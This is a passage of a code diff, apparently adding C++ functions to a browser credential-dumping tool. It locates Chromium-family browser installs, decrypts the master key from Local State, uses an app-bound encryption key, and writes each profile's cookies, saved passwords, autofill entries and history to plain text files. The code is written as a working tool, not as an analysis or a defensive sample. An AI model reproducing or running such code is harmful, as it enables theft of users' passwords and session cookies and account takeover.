installs.end(),
|
|
654
|
+
[&](const BrowserInstall& existing) {
|
|
655
|
+
return existing.displayName == target->folderName;
|
|
656
|
+
})) {
|
|
657
|
+
continue;
|
|
658
|
+
}
|
|
659
|
+
|
|
660
|
+
installs.push_back(BrowserInstall{
|
|
661
|
+
exePath,
|
|
662
|
+
target->folderName,
|
|
663
|
+
target->userDataPath
|
|
664
|
+
});
|
|
665
|
+
}
|
|
666
|
+
|
|
667
|
+
return installs;
|
|
668
|
+
}
|
|
669
|
+
|
|
670
|
+
bool ExportBrowserProfiles(
|
|
671
|
+
const fs::path& browserExe,
|
|
672
|
+
const std::vector<uint8_t>& appBoundKey,
|
|
673
|
+
const fs::path& outputRoot)
|
|
674
|
+
{
|
|
675
|
+
const auto target = ResolveBrowserTarget(browserExe);
|
|
676
|
+
if (!target.has_value()) {
|
|
677
|
+
std::cerr << "[-] Unsupported browser executable for export." << std::endl;
|
|
678
|
+
return false;
|
|
679
|
+
}
|
|
680
|
+
|
|
681
|
+
if (!fs::exists(target->userDataPath)) {
|
|
682
|
+
std::wcerr << L"[-] Browser user data not found: " << target->userDataPath.wstring() << std::endl;
|
|
683
|
+
return false;
|
|
684
|
+
}
|
|
685
|
+
|
|
686
|
+
const auto masterKey = GetMasterKey(target->userDataPath);
|
|
687
|
+
if (!masterKey.has_value() || masterKey->size() != kAesKeySize) {
|
|
688
|
+
std::cerr << "[-] Failed to decrypt master key from Local State." << std::endl;
|
|
689
|
+
return false;
|
|
690
|
+
}
|
|
691
|
+
|
|
692
|
+
if (appBoundKey.size() != kAesKeySize) {
|
|
693
|
+
std::cerr << "[-] Invalid app-bound key size." << std::endl;
|
|
694
|
+
return false;
|
|
695
|
+
}
|
|
696
|
+
|
|
697
|
+
const fs::path browserOutput = outputRoot / target->folderName;
|
|
698
|
+
std::error_code ec;
|
|
699
|
+
fs::create_directories(browserOutput, ec);
|
|
700
|
+
|
|
701
|
+
std::cout << "[*] Exporting browser data to: " << browserOutput.string() << std::endl;
|
|
702
|
+
|
|
703
|
+
int profileCount = 0;
|
|
704
|
+
int cookieFiles = 0;
|
|
705
|
+
int passwordFiles = 0;
|
|
706
|
+
int autofillFiles = 0;
|
|
707
|
+
int historyFiles = 0;
|
|
708
|
+
|
|
709
|
+
for (const auto& entry : fs::directory_iterator(target->userDataPath, ec)) {
|
|
710
|
+
if (ec || !entry.is_directory()) {
|
|
711
|
+
continue;
|
|
712
|
+
}
|
|
713
|
+
|
|
714
|
+
const std::wstring profileName = entry.path().filename().wstring();
|
|
715
|
+
if (!IsProfileDirectoryName(profileName)) {
|
|
716
|
+
continue;
|
|
717
|
+
}
|
|
718
|
+
|
|
719
|
+
const fs::path profilePath = entry.path();
|
|
720
|
+
const fs::path outputProfilePath = browserOutput / profileName;
|
|
721
|
+
fs::create_directories(outputProfilePath, ec);
|
|
722
|
+
|
|
723
|
+
std::wcout << L"[*] Processing profile: " << profileName << std::endl;
|
|
724
|
+
|
|
725
|
+
if (ExportCookiesForProfile(profilePath, outputProfilePath, *masterKey, appBoundKey)) {
|
|
726
|
+
++cookieFiles;
|
|
727
|
+
std::wcout << L" [+] cookies.txt" << std::endl;
|
|
728
|
+
}
|
|
729
|
+
|
|
730
|
+
if (ExportPasswordsForProfile(profilePath, outputProfilePath, *masterKey, appBoundKey)) {
|
|
731
|
+
++passwordFiles;
|
|
732
|
+
std::wcout << L" [+] passwords.txt" << std::endl;
|
|
733
|
+
}
|
|
734
|
+
|
|
735
|
+
if (ExportAutofillsForProfile(profilePath, outputProfilePath)) {
|
|
736
|
+
++autofillFiles;
|
|
737
|
+
std::wcout << L" [+] autofills.txt" << std::endl;
|
|
738
|
+
}
|
|
739
|
+
|
|
740
|
+
if (ExportHistoryForProfile(profilePath, outputProfilePath)) {
|
|
741
|
+
++historyFiles;
|
|
742
|
+
std::wcout << L" [+] history.txt" << std::endl;
|
|
743
|
+
}
|
|
744
|
+
|
|
745
|
+
++profileCount;
|
|
746
|
+
}
|
|
747
|
+
|
|
748
|
+
if (profileCount == 0) {
|
|
749
|
+
std::cerr << "[-] No browser profiles found to export." << std::endl;
|
|
750
|
+
return false;
|
|
751
|
+
}
|
|
752
|
+
|
|
753
|
+
std::cout << "[+] Exported " << cookieFiles << " cookie file(s), "
|
|
754
|
+
<< passwordFiles << " password file(s), "
|
|
755
|
+
<< autofillFiles << " autofill file(s), and "
|
|
756
|
+
<< historyFiles << " history file(s) across "
|
|
757
|
+
<< profileCount << " profile(s)." << std::endl;
|
|
758
|
+
|
|
759
|
+
return cookieFiles > 0 || passwordFiles > 0 || autofillFiles > 0 || historyFiles > 0;
|
|
760
|
+
}
|